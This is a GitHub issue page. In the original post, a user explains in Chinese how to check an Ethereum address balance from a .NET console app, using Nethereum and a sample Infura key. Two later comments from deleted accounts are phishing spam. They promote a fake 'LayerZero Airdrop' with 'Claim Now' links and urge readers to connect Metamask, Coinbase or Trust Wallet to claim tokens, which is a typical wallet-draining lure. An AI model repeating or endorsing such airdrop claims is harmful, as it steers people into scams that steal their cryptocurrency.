hujianglang / blockchain

0 stars 0 forks source link

.net core 控制台应用查询ethereum地址余额 #1

Open hujianglang opened 2 years ago

hujianglang commented 2 years ago

1, 安装Nethereum.Hex,Nethereum.Web3 两个开发包,可以通过NuGet包管理工具安装。 用这两个包开发就方便多了。 参考这个网站:https://playground.nethereum.eth.link/csharp/id/1001 2, 用了以下代码:

using System;
using System.Text;
using Nethereum.Hex.HexConvertors.Extensions;
using System.Threading.Tasks;
using Nethereum.Web3;

public class Program
{

    static async Task Main(string[] args)
    {

        // This sample shows how to connect to Ethereum mainnet using Infura
        // and check an account balance:

        // We first need to generate an instance of web3, using INFURA's mainnet url and 
        // our API key.
        // For this sample, we’ll use a special API key `7238211010344719ad14a89db874158c`,
        // but for your own project you’ll need your own key.
        var web3 = new Web3("https://mainnet.infura.io/v3/7238211010344719ad14a89db874158c");

        // Check the balance of one of the accounts provisioned in our chain, to do that, 
        // we can execute the GetBalance request asynchronously:
        var balance = await web3.Eth.GetBalance.SendRequestAsync("0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae");
        Console.WriteLine("Balance of Ethereum Foundation's account: " + balance.Value);

    }

}

效果不错,查询的是eth基金会的地址,有个这个开发包,开发就方便多了,可以利用脚本查询一些信息了。可以在熟悉下python的调用方式,先把环境、基础的API先熟悉起来。

ghost commented 9 months ago

LayerZero Airdrop Guide: BIGGEST Airdrop in 2023 ($ZRO Token Confirmed) 🪂

LayerZero is one of the most ANTICIPATED airdrops in 2023, and users can potentially earn up to $10,000 in airdrop rewards! This is an updated guide to gather the most amount of $ZRO tokens possible.

We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens!

Claim Now on Layerzero Oficial

Claim Now

Secure Your Layerzero Airdrop with These Simple Steps:

  1. Connect Your Wallet:

    • Head over to the Layerzero Airdrop.
    • Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).
  2. Share on Social Media:

  3. Eligibility Check:

    • Confirm your eligibility for the Layerzero Airdrop.
ghost commented 9 months ago

LayerZero Airdrop Updated 🪂

The LayerZero Airdrop is confirmed. This is an updated guide to gather the most amount of $ZRO tokens possible.

We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens!

Layerzero Oficial

Claim Now

Secure Your Layerzero Airdrop with These Simple Steps:

  1. Connect Your Wallet:

    • Head over to the Layerzero Airdrop.
    • Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).
  2. Eligibility Check:

  3. Engage for Extra Rewards:

    • Participate in community discussions or complete tasks for bonus rewards.

Bonus Tips:

Share your experiences or ask any questions about claiming the Layerzero Airdrop in the comments below. Let's make this process a breeze for everyone!